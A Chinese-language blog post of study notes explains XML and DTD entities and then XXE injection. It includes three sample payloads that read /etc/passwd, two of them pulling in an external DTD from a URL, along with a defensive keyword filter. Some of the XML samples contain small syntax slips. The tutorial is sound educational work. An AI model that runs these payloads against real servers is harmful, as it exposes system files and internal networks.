XXE漏洞学习

0x00 什么是XXE

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。

所以,学***E漏洞当然要先了解XML基础。

0x01 XML基础

1.文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体,用来定义普通文本的变量
  • PCDATA,被解析的字符数据(parsed character data)
  • CDATA ,字符数据(character data)

2.DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

<!DOCTYPE 根元素 [元素声明]>

外部文档声明

<!DOCTYPE 根元素 SYSTEM "文件名">

3.DTD实体

  • 参数实体用%实体名称申明,引用时也用%实体名称;
    其余实体直接用实体名称申明,引用时用&实体名称。
  • 参数实体只能在DTD中申明,DTD中引用;
    其余实体只能在DTD中申明,可在xml文档中引用。

内部实体声明
语法:

<!ENTITY 实体名称 "实体的值">

EG:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "0nc3">
<!ENTITY blog "blog.csdn.net/syy0201">
]>
<author>&writer;&blog;</author>

外部实体声明
语法:

<!ENTITY 实体名称 SYSTEM "URI">

EG:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "https://blog.csdn.net/syy0201">
<!ENTITY blog SYSTEM "https://blog.csdn.net/syy0201">
 ]>
 <author>&writer;&blog;</author>

参数实体声明
语法:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

EG:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % writer "0nc3">
<!ENTITY % blog "https://blog.csdn.net/syy0201">
 ]>
 <author>&writer;&blog;</author>

0x02 构造XXE

方式一:直接通过DTD外部实体声明

	<?xml version="1.0"?>
    <!DOCTYPE 0nc3[
    <!ENTITY f SYSTEM "file:///etc/passwd">
     ]>
     <hhh>&f;<hhh>

方式二:通过DTD文档引入外部DTD文档中的外部实体声明
XML文件内容:

	<?xml version="1.0"?>
    <!DOCTYPE  0nc3 SYSTEM "https://blog.csdn.net/syy0201/0nc3.dtd">
    <hhh>&f;<hhh>

DTD文件内容:

    <!ENTITY f SYSTEM "file:///etc/passwd">

方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE 0nc3[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/0nc3.dtd">
]>
<hhh>&f;<hhh>

0nc3.dtd的外部实体声明内容:

 <!ENTITY f SYSTEM "file:///etc/passwd">

!!注意:方式二和方式三一个是通过DTD文档引入,一个是通过DTD外部实体声明引入。

0x03 XXE带来的危害

1.文件读取

2.命令执行

3.内网探测/SSRF
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

先存着几篇关于XXE漏洞利用写得很棒的文章,下次再深入学习~
XXE漏洞利用技巧:从XML到远程代码执行
未知攻焉知防——XXE漏洞攻防

0x04 如何防御XXE

1.过滤用户提交的XML数据
过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC
2. PHP下

libxml_disable_entity_loader(true);

0x05 参考

http://www.91ri.org/9539.html
https://thief.one/2017/06/20/1/
https://www.jianshu.com/p/7325b2ef8fc9

posted @ 2019-12-18 20:28  吃不胖的ruanruan  阅读(211)  评论(0编辑  收藏  举报